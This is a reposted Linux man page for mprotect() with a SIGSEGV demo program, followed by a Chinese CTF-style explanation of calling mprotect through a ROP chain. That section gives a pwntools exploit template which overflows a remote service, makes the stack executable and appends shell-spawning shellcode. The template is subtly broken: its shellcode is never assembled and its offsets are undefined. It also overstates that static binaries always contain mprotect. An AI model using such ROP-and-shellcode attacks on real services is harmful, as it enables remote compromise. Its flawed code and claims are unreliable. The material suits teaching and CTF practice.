mprotect

mprotect - set protection on a region of memory

Synopsis

#include <sys/mman.h>

int mprotect(const void *addr, size_t len, int prot);

Description

mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addraddr+len-1]. addr must be aligned to a page boundary.

If the calling process tries to access memory in a manner that violates the protection, then the kernel generates a SIGSEGV signal for the process.

prot is either PROT_NONE or a bitwise-or of the other values in the following list:

PROT_NONE

The memory cannot be accessed at all.

PROT_READ

The memory can be read.

PROT_WRITE

The memory can be modified.

PROT_EXEC

The memory can be executed.

Return Value

On success, mprotect() returns zero. On error, -1 is returned, and errno is set appropriately.

Errors

EACCES

The memory cannot be given the specified access. This can happen, for example, if you mmap(2) a file to which you have read-only access, then ask mprotect() to mark itPROT_WRITE.

EINVAL

addr is not a valid pointer, or not a multiple of the system page size.

ENOMEM

Internal kernel structures could not be allocated.

ENOMEM

Addresses in the range [addraddr+len-1] are invalid for the address space of the process, or specify one or more pages that are not mapped. (Before kernel 2.4.19, the errorEFAULT was incorrectly produced for these cases.)

Conforming To

SVr4, POSIX.1-2001. POSIX says that the behavior of mprotect() is unspecified if it is applied to a region of memory that was not obtained via mmap(2).

Notes

On Linux it is always permissible to call mprotect() on any address in a process's address space (except for the kernel vsyscall area). In particular it can be used to change existing code mappings to be writable.

Whether PROT_EXEC has any effect different from PROT_READ is architecture- and kernel version-dependent. On some hardware architectures (e.g., i386), PROT_WRITEimplies PROT_READ.

POSIX.1-2001 says that an implementation may permit access other than that specified in prot, but at a minimum can only allow write access if PROT_WRITE has been set, and must not allow any access if PROT_NONE has been set.

Example

The program below allocates four pages of memory, makes the third of these pages read-only, and then executes a loop that walks upward through the allocated region modifying bytes.

An example of what we might see when running the program is the following:

$ ./a.out
Start of region:        0x804c000
Got SIGSEGV at address: 0x804e000

Program source

#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <malloc.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/mman.h>

#define handle_error(msg) \
    do { perror(msg); exit(EXIT_FAILURE); } while (0)

char *buffer;

static void
handler(int sig, siginfo_t *si, void *unused)
{
    printf("Got SIGSEGV at address: 0x%lx\n",
            (long) si->si_addr);
    exit(EXIT_FAILURE);
}

int
main(int argc, char *argv[])
{
    char *p;
    int pagesize;
    struct sigaction sa;

   sa.sa_flags = SA_SIGINFO;
    sigemptyset(&sa.sa_mask);
    sa.sa_sigaction = handler;
    if (sigaction(SIGSEGV, &sa, NULL) == -1)
        handle_error("sigaction");

   pagesize = sysconf(_SC_PAGE_SIZE);
    if (pagesize == -1)
        handle_error("sysconf");

   /* Allocate a buffer aligned on a page boundary;
       initial protection is PROT_READ | PROT_WRITE */

   buffer = memalign(pagesize, 4 * pagesize);
    if (buffer == NULL)
        handle_error("memalign");

   printf("Start of region:        0x%lx\n", (long) buffer);

   if (mprotect(buffer + pagesize * 2, pagesize,
                PROT_READ) == -1)
        handle_error("mprotect");

   for (p = buffer ; ; )
        *(p++) = 'a';

   printf("Loop completed\n");     /* Should never happen */
    exit(EXIT_SUCCESS);
}

转载于:https://www.cnblogs.com/justinyo/archive/2013/03/07/2948316.html

### 关于 `mprotect` 函数的用法 在C标准库中,`mprotect` 是一个系统调用,允许改变内存保护属性。对于给定地址范围内的页面,该函数能够设置读、写或执行权限。这在处理动态加载代码或是修改现有代码段时非常有用[^1]。 ```c #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); ``` 参数说明如下: - `addr`: 起始地址,通常需要按页对齐。 - `len`: 需要更改权限的字节数量。 - `prot`: 新的访问权限标志,比如 PROT_READ | PROT_WRITE 或者加上PROT_EXEC 表示可执行。 当涉及到安全挑战特别是CTF比赛里的PWN题目时,如果二进制文件是以静态方式编译链接,则其中必然存在此API实现。 ### 利用技巧实例展示 假设有一个简单的缓冲区溢出漏洞存在于某个服务端应用之中,并且目标机器上的ASLR(Address Space Layout Randomization)已经被禁用了。此时可以通过覆盖返回指针指向一段自定义shellcode的位置前先调整其所在区域为RWX模式以便成功触发远程命令执行。 具体操作流程如下所示: 1. 找到合适的gadget链来调用`mprotect()`使堆栈成为可执行状态; 2. 构造payload将上述找到的第一个gadget地址作为新的EIP/RIP值; 3. 后续跟随必要的参数传递以及最终想要运行的有效载荷(shellcode); 这里给出一个简化版的例子用来解释概念而非实际可用的exploit: ```python from pwn import * # 假设已知的信息 binary_base_addr = 0x400000 # 可执行文件基址 stack_start = 0x7ffffffde000 # 栈起始位置 size = 0x1000 # 修改一页大小 new_perms = 0x7 # rwx 权限 pop_rdi_ret_gadget= binary_base_addr + offset_to_poprdi # pop rdi; ret; pop_rsi_ret_gadget= binary_base_addr + offset_to_poprsi # pop rsi; ret; pop_rdx_ret_gadget= binary_base_addr + offset_to_poprdx # pop rdx; ret; # 连接至远端服务器并发送Payload conn = remote('target', port) payload = b'A'*(offset_to_return_address) payload += p64(pop_rdi_ret_gadget) # 设置第一个参数 addr payload += p64(stack_start) payload += p64(pop_rsi_ret_gadget) # 设置第二个参数 length payload += p64(size) payload += p64(pop_rdx_ret_gadget) # 设置第三个参数 protection flags payload += p64(new_perms) payload += p64(binary_base_addr+mprotect_offset_from_plt) # 调用mprotect() payload += shellcraft.sh() # 插入shellcode conn.sendline(payload) conn.interactive() ``` 这段Python脚本使用pwntools框架构建了一个针对特定条件下的攻击向量。它首先填充足够的字符直到覆盖掉返回地址,接着依次放置几个ROP gadgets以准备调用`mprotect()`所需的三个实参,最后附加了一条创建交互式shell的指令序列。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值